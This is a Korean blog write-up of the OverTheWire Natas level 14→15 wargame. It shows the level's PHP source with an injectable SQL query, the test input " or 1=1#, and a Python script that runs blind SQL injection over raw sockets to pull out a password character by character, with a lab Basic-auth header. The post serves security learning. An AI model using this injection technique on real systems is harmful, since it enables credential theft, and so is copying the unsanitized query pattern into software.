Web Hacking/Natas

[Natas] Level 14 > Level 15

SolB 2022. 6. 25. 18:39

다음은 natas15의 페이지 화면이다.

 

텍스트 상자에 아무거나 입력했더니 다음과 같은 문구가 떴다.

 

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
mysql_query()
: 다른 형식의 SQL구문, INSERT, UPDATE, DELETE, DROP 등에서 성공하면 TRUE를, 실패하면 FALSE를 반환하는 함수
mysql_num_rows()
: DB에서 쿼리를 날려서 나온 레코드들(열)의 개수를 반환하는 함수

쿼리에 오류가 없으면(mysql_query함수의 반환값이 TRUE 이면) 'This user exits'이 출력되고 그렇지 않으면 'This user doesn't exis't이 출력된다.

 

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

주석 처리 된 SQL문을 보면 users테이블에 username, password 칼럼이 존재한다.

 

" or 1=1# 을 입력해주니 'This user exits'라는 문구가 떴다.

 

개발자 도구 > Network 에서 Request Headers 내용을 확인할 수 있었다.

 

위 내용들 속 필요한 정보를 포함해 파이썬 자동화 코드를 작성한다.

 

import socket

key=''
for i in range(1,33):
    for k in range(48,123):
        if 58 <= k <= 64: continue
        if 91 <= k <= 96: continue
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect(("176.9.9.172",80))

        header = "GET /index.php?username=natas16\"+"
        header += "and+ascii%28substr%28%28select+password+from+users+"
        header += "limit+3%2C1%29%2C"+str(i)+"%2C1%29%29=\""+str(k)+" "
        header += "HTTP/1.1\r\n"
        header += "Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n"
        header += "Host:natas15.natas.labs.overthewire.org\r\n"
        header += "\r\n"

        sock.send(header.encode())
        response = sock.recv(1500)
        response = response.decode()

        if "This user exists." in response:
            key +=chr(k)
            print(key)
            break

 

위 코드를 실행해주면 아래와 같은 결과가 나온다.

이를 통해 비밀번호를 찾을 수 있었다.

 

참고 : mint2356.tistory.com